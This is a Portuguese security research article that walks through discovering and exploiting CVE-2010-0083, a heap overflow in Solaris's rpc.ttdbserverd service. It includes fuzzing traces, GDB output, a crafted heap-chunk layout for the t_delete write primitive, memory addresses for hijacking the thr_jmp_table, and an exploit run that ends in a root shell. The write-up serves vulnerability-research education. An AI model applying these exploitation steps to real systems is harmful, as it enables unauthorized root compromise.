EXPLORAÇÃO DE UMA VULNERABILIDADE DE HEAP OVERFLOW REAL

07/01/2014

Na continuação dos artigos da série, vamos recriar os passos utilizados para se descobrir uma vulnerabilidade real (CVE-2010-0083) encontrada pelo autor, bem como definir a forma de explorar tal vulnerabilidade. A intenção é oferecer aos leitores ...

Resumo:

Na continuação dos artigos da série, vamos recriar os passos utilizados para se descobrir uma vulnerabilidade real (CVE-2010-0083) encontrada pelo autor, bem como definir a forma de explorar tal vulnerabilidade. A intenção é oferecer aos leitores a base utilizada para se realizar uma pesquisa por vulnerabilidades em um ambiente diferenciado (neste caso Solaris) e como explorar uma vulnerabilidade em diferentes arquiteturas/plataformas.

O paper é bem simplificado e diversas partes foram omitidas para facilitar o entendimento.

Sobre a falha:

Esta vulnerabilidade foi encontrada no final de 2009 e explorada no começo de 2010. Os dados da mesma podem ser encontrados em [1].
Dois exploits foram lançados conjuntamente com a vulnerabilidade e podem ser encontrados em [2] e [3].

Detalhes:
Quando decidi procurar por vulnerabilidades na plataforma, instalei o sistema e procurei por serviços que rodavam por padrão após o boot inicial. Percebi que um dos serviços era o rpc.ttdb. Para auditá-lo, resolvi fazer um fuzzer e segui os próximos passos.

A primeira coisa foi descobrir em qual porta o TTDB server estava rodando:

```
bash-3.00# rpcinfo -p localhost | grep 100083
100083 1 tcp 32777
```

Após isso dei um 'telnet localhost 32777' para subir o processo:

```
bash-3.00# telnet localhost 32777
Trying 127.0.0.1...
```

Connected to localhost.
Escape character is '^]'.
asdf
Connection to localhost closed by foreign host.

Em seguida, peguei o PID do processo TTDB:

bash-3.00# ps -fed | grep ttdb
root 1534 202 0 15:03:47 ? 0:00
/usr/dt/bin/rpc.ttdbserverd

Com o comando 'truss' verifiquei as chamadas feitas através do TTDB:

bash-3.00# truss -eaf -p 1534
1534: psargs: /usr/dt/bin/rpc.ttdbserverd
1534: pollsys(0xFFBFDC80, 1, 0x00000000, 0x00000000) (sleeping...)

Feito isso, em outra máquina executei um fuzzer RPC (que desenvolvi há alguns anos atrás), apontando para procedure 7 (associada ao TTDB), com a string 'FOLLOW-THE-WHITE-RABBIT' (para testar), e o truss apontou o seguinte output:

1534: pollsys(0xFFBFDC80, 2, 0x00000000, 0x00000000) = 1
1534: fstat(256, 0xFFBFF910) = 0
1534: getmsg(256, 0xFFBFFA7C, 0xFFBFFA6C, 0xFFBFFA8C) = 0
1534: open64("FOLLOW-THE-WHITE-RABBIT.rec", O_RDWR) Err#2 ENOENT
1534: open64("FOLLOW-THE-WHITE-RABBIT.rec", O_RDONLY) Err#2 ENOENT

O programa TTDB tentou abrir um arquivo chamado 'FOLLOW-THE-WHITE-RABBIT.rec'. Ou seja, ele utilizou o input e adicionou ".rec" como medida de segurança
para não acessar outros arquivos. Após isso, verifiquei os
diretórios procurando arquivos com a terminação .rec:

bash-3.00# find . -name *.rec -print
./TT_DB/file_table.rec
./TT_DB/file_object_map.rec
./TT_DB/property_table.rec
./TT_DB/access_table.rec

Após encontrados os arquivos .rec, gerei arquivos modificados (dumb fuzz). Depois de automatizado os testes, um arquivo gerado com a

posicao 233 decimal alterada
gerou o seguinte crash:

```
1534: fstat(256, 0xFFBFF910) = 0
1534: getmsg(256, 0xFFBFFA7C, 0xFFBFFA6C, 0xFFBFFA8C) = 0
1534: open64("/tmp/access_table.off-000233.rec", O_RDWR) = 4
1534: fstat64(4, 0xFFBFF5E8) = 0
1534: fcntl(4, F_SETFD, 0x00000001) = 0
1534: open64("/tmp/access_table.off-000233.ind", O_RDWR) Err#2
ENOENT
1534: open64("/tmp/access_table.off-000233.var", O_RDWR) Err#2
ENOENT
1534: llseek(4, 0, SEEK_SET) = 0
1534: read(4, " N e t I S A M\0", 8) = 8
1534: llseek(4, 0, SEEK_SET) = 0
1534: read(4, " N e t I S A M\0 U n k n"..., 1024) = 1024
1534: read(4, " A A A A A A A A A A A A"..., 1024) = 1024
1534: fstat64(4, 0xFFBFEF70) = 0
1534: open64("/tmp/access_table.off-000233.ind", O_RDWR) Err#2
ENOENT
1534: Incurred fault #5, FLTACCESS %pc = 0xFF0D2544
1534: siginfo: SIGBUS BUS_ADRALN addr=0x41414141
1534: Received signal #10, SIGBUS [default]
1534: siginfo: SIGBUS BUS_ADRALN addr=0x41414141
```

Analisando via GDB vi:

```
bash-3.00# /opt/sfw/bin/gdb -c /core /usr/dt/bin/rpc.ttdbserverd
GNU gdb 6.2.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "sparc-sun-solaris2.10"...(no debugging
symbols found)...
Core was generated by `/usr/dt/bin/rpc.ttdbserverd'.
Program terminated with signal 10, Bus error.
....
```

....
....
#0 0xff0d1ec4 in _malloc_unlocked () from /lib/libc.so.1
(gdb) bt
#0 0xff0d1ec4 in _malloc_unlocked () from /lib/libc.so.1
#1 0xff0d1d4c in malloc () from /lib/libc.so.1
#2 0x0003bec4 in _make_isfname ()
#3 0x0003a9f8 in _open2_indfile ()
#4 0x0003a668 in _isfcb_cntlpg_r ()
#5 0x00035104 in _openfcb ()
#6 0x00034ec0 in _amopen ()
#7 0x00034e58 in _am_open ()
#8 0x00034df0 in isopen ()
#9 0x00035f00 in iserase ()
#10 0x0002a1c0 in __0FN_tt_iserase_1PPcP6J__svcxprt ()
#11 0x00026370 in
__0FT_tt_dbserver_prog_1P6Hsvc_reqP6J__svcxprt ()
#12 0xff1cec40 in _svc_prog_dispatch () from /lib/libnsl.so.1
#13 0xff1cea1c in svc_getreq_common () from /lib/libnsl.so.1
#14 0xff1ce858 in svc_getreqset () from /lib/libnsl.so.1
#15 0x00025114 in main ()
(gdb) x/i $pc
0xff0d1ec4 <_malloc_unlocked+356>: ld [%l2], %l4
(gdb) i r $l2
l2 0x41414141 1094795585

Aparentemente um heap overflow ocorreu, sobrescrevendo as estruturas da heap. Após isso, verifiquei a posição no arquivo gerado que apontava para o registrador $l2 (para sabermos qual o offset que sobrescreve este valor).
Tendo em vista que é um heap overflow no solaris, utilizei as técnicas conhecidas de 't_delete' gerando o bloco de heap abaixo:

"\x00\x00\x00\x00". // Size
"\xff\xff\xff\xff". // Não importante, qualquer valor
$pstck. // O que quero escrever
"\x00\x00\x00\x00". // Não importante, qualquer valor
"\xff\xff\xff\xff". // -1, para entrar no t_delete, obrigatório
"\xff\xff\xff\xff". // Qualquer valor
$pnull. // Endereço apontando para Null, obrigatório nesse bug somente!

"\xff\x00\x00\x00". // qualquer valor
$pheap. // Onde vou escrever -8

Após diversos testes, foi necessário apontar o $pnull para uma área da memória que contém
NULLs, pois após a escrita, o programa continuava quebrando tentando acessar áreas apontadas
pelo $pheap.
Com esse chunk criado, inputando os valores 0x61626364 no $pstck e 0x41424344 no $pheap
o seguinte resultado foi obtido:

#0 0xff0c766c in t_delete () from /usr/lib/libc.so.1
(gdb) x/i $pc
0xff0c766c : st %o0, [%o1 + 8]
(gdb) i r $o0
o0 0x61626364 1633837924
(gdb) i r $o1
o1 0x41424344 1094861636

Atingimos a técnica do t_delete com sucesso, onde podemos escrever 4 bytes apontados pelo
register $o0 para o conteúdo do registrer $o1 + 8.
Agora era necessário arranjar um lugar para colocar o shellcode e um lugar para
sobreescrever na memória e ganhar controle do processo.
Como o arquivo .rec não estava possibilitando espaço para inserir o shellcode e NOPs de
maneira satisfatória, resolvi enviar na mesma procedure 7 do TTDB, após o "caminho para
o arquivo .rec", 8192 NOPs como segundo argumento da chamada RPC.
Analisando o crash novamente com essa medida, achei os blocos de NOP na memória heap:

0x885b0: 0x00002329 0x00000000 0x80000098 0x1938ba51
0x885c0: 0x00000000 0x00000002 0x000186f3 0x00000001
0x885d0: 0x00000007 0x00000001 0x00000020 0x4b3b6340
0x885e0: 0x00000009 0x6c6f6361 0x6c686f73 0x74000000
0x885f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x88600: 0x00000000 0x0000000a 0x2f746d70 0x2f6f776e
---Type to continue, or q to quit---
0x88610: 0x65640000 0x00000020 0x00616161 0x10800003
0x88620: 0x10800003 0x10800003 0x10800003 0x10800003

0x88630: 0x10800003 0x10800003 0x10800003 0x10800003
0x88640: 0x10800003 0x10800003 0x10800003 0x10800003
0x88650: 0x10800003 0x10800003 0x10800003 0x10800003
0x88660: 0x10800003 0x10800003 0x10800003 0x10800003
0x88670: 0x10800003 0x10800003 0x10800003 0x10800003
0x88680: 0x10800003 0x10800003 0x10800003 0x10800003
0x88690: 0x10800003 0x10800003 0x10800003 0x10800003

Acima temos o pacote rpc na área heap contendo nossos NOPs.
Portanto já possuímos o endereço do $pstck, agora falta encontrar onde podemos escrever.
Ao pesquisar outros exploits de Solaris, verifiquei a possibilidade de utilizar o endereço 'thr_jmp_table'
presente na library /lib/ld.so.1.
Para ver o endereco da thr_jmp_table via linha de comando:

bash-3.00# /usr/ccs/bin/dump -t /lib/ld.so.1 | grep thr_jmp_table
[572] 0x3c268 28 1 0 0 0xf
thr_jmp_table

Achamos o endereço 0x3c268 que ao somar com a base do /lib/ld.so.1 nos dá o que queremos. Para achar a base usei o comando:

bash-3.00# pmap /core
core '/core' of 1570: /usr/dt/bin/rpc.ttdbserverd
00010000 216K r-x-- /usr/openwin/bin/rpc.ttdbserverd
00054000 24K rwx-- /usr/openwin/bin/rpc.ttdbserverd
0005A000 216K rwx-- [heap]
...
...
...
FF3B0000 176K r-x-- /lib/ld.so.1

Com a base encontrada encontramos o endereço do 'thr_jmp_table' (0xFF3B0000 + 0x3c268 = 0xff3ec268), sendo que essa
base 0xFF3B0000 não varia em versões de Solaris.
Com isso temos todas as informações necessárias para explorar a vulnerabilidade.

bash-3.00# perl final_sparc.pl -o 8192
-= rpc.ttdbserverd .rec parser exploit for solaris 9/10 sparc =-
Usage: [-f] /file/name [-h] hostname [-o] offset
[+] Creating file /tmp/owned.rec

```
[+] Writing 0x89080 to 0xff3ec268
[+] TTDB running on port 32777
[+] Sending stuff to TTDB ...d0ne!
[+] Wait a little!
[*] We got in =)
SunOS mordor 5.10 Generic sun4u sparc SUNW,Ultra-5_10
uid=0(root) gid=0(root)
```

O exploit e o advisory originais estão linkados nas referências.

Referências:

[1] Branco, Rodrigo. "ToolTalk rpc.ttdbserverd database parser vulnerability - CVE-2010-0083"
http://www.kernelhacking.com/rodrigo/advisories/CPVDT-2010-0651.txt
[2] Branco, Rodrigo. "ToolTalk rpc.ttdbserverd database parser exploits for x86 - CVE-2010-0083"
http://www.kernelhacking.com/rodrigo/exploits/final_x86.pl.txt
[3] Branco, Rodrigo. "ToolTalk rpc.ttdbserverd database parser exploits for sparc - CVE-2010-0083"
http://www.kernelhacking.com/rodrigo/exploits/final_sparc.pl.txt

Sobre o autor

Rodrigo Rubira Branco (BSDaemon), atua como pesquisador sênior no centro de excelência em segurança da Intel . Foi fundador do projeto Dissect || PE de análise de malware e palestrante em diversas conferências nacionais e internacionais, tais como Blackhat, Defcon, Hack in The Box, XCon e Hackito.

Membro do comitê técnico de diversas conferências (Blackhat Brasil, Hackito e Nosuchcon, por exemplo) também foi palestrante principal (keynote) em eventos fora do Brasil e em território nacional. É organizador do evento Hackers to Hackers (H2HC), maior e mais antigo evento de pesquisas em segurança da informação na América Latina. Atuou em diversas empresas, tais como Check Point (como Chief Security Research) e Qualys (como Diretor de Pesquisas de Vulnerabilidades e Malware). Também é conselheiro do Instituto Coaliza.

Em 2011 foi homenageado pela Adobe como um dos contribuidores principais em vulnerabilidades nos produtos da empresa. Brasileiro convicto (apesar de ter morado em Israel, Dubai e atualmente nos Estados Unidos), é membro do Comitê Técnico da RENASIC, ligada ao Centro de Defesa Cibernética (CDCiber) do Departamento de Defesa Brasileiro.